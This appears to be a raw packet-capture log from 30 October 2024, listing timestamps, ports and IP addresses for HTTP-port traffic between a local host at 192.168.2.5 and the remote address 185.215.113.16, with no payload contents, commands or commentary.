Oct 30, 2024 21:55:24.127674103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128287077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128303051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128314972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128372908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128385067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128388882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128510952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128523111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128532887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128559113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128559113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128745079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128765106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128777981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128789902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128799915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.128853083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.128854036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.172825098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.172991991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.173007011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.173173904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.174879074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.174890995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.174901962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.174968004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.174968004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175056934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175067902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175079107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175090075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175110102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175143957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175209045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175219059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175231934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175244093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175255060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175266981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175276995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175283909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175307035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175789118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175801039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175812006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175822020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175837994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175849915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.175860882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175860882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.175893068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.176332951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.176345110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.176356077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.176425934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.176425934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.178778887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178788900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178812027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178829908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178842068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178848982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.178857088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178869009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178879976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178890944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178901911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178915024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178925991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178927898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.178927898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.178936958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178950071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178960085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178966999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.178973913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178986073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.178989887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.179050922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.220220089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.245539904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.245562077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.245573997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.245676994 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.246252060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246296883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246325970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246332884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246391058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.246408939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246422052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246424913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.246429920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246440887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246561050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.246648073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246661901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246674061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246783972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246794939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246805906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.246829033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.246910095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.288094044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.288106918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.288124084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.288199902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.288199902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.290735006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.290774107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.290786982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.290827990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.290874004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.290882111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.290894985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.290898085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291049004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291212082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291224957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291235924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291246891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291259050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291270971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291282892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291300058 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291327000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291330099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291342974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291354895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291366100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291378021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291389942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291403055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291410923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291410923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291414976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.291450024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.291467905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.292098999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.292110920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.292174101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294353962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294365883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294377089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294389963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294404030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294455051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294482946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294492960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294492960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294508934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294528008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294539928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294560909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294560909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294603109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294753075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294841051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294851065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294862986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294877052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294888020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.294941902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294941902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.294941902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.295037985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.295203924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.295238972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.295258999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.295269966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.295270920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.295336008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.305628061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.363914013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.363926888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.363939047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364054918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.364597082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364656925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.364691019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364703894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364800930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364809990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.364814997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364869118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364880085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364895105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364914894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.364916086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.364945889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364958048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.364969015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.365029097 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.365112066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.365823030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.366542101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.366691113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.383807898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.406127930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.406157017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.406168938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.406251907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.408880949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408890963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408901930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408922911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408934116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408945084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.408957005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409030914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409070969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409137964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409148932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409216881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409266949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409281015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409349918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409363031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409389973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409462929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409471989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409482956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409542084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409559011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409579039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409580946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409594059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409606934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409627914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409703970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409806013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409817934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409831047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409846067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409857035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.409882069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409882069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.409924030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.410113096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.410124063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.410135031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.410183907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412437916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412502050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412512064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412533045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412586927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412600040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412611008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412621975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412735939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412748098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412759066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412771940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.412786007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412786961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412846088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.412950993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413022041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413033009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413089037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413089991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.413103104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413120985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.413150072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413161039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413173914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413182020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.413186073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.413217068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.413273096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.441131115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.481781960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.481798887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.481812954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.481908083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482547998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482600927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482613087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482619047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482714891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482723951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482734919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482754946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482769012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482780933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482791901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482819080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482819080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482935905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.482958078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482971907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482985020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.482995033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.483042955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.483140945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.523844957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.524130106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.524324894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.524350882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.524362087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.524378061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.524399996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527276039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527287960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527297974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527329922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527342081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527354956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527360916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527386904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527421951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527425051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527436018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527446985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527478933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527478933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527492046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527522087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527570009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527770996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527787924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527800083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527811050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527822971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527877092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527965069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527976036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.527986050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.527987003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528018951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.528034925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528047085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528053045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.528080940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528093100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528105021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:24.528120041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:24.528121948 CET	80	49712	185.215.113.16	192.168.2.5
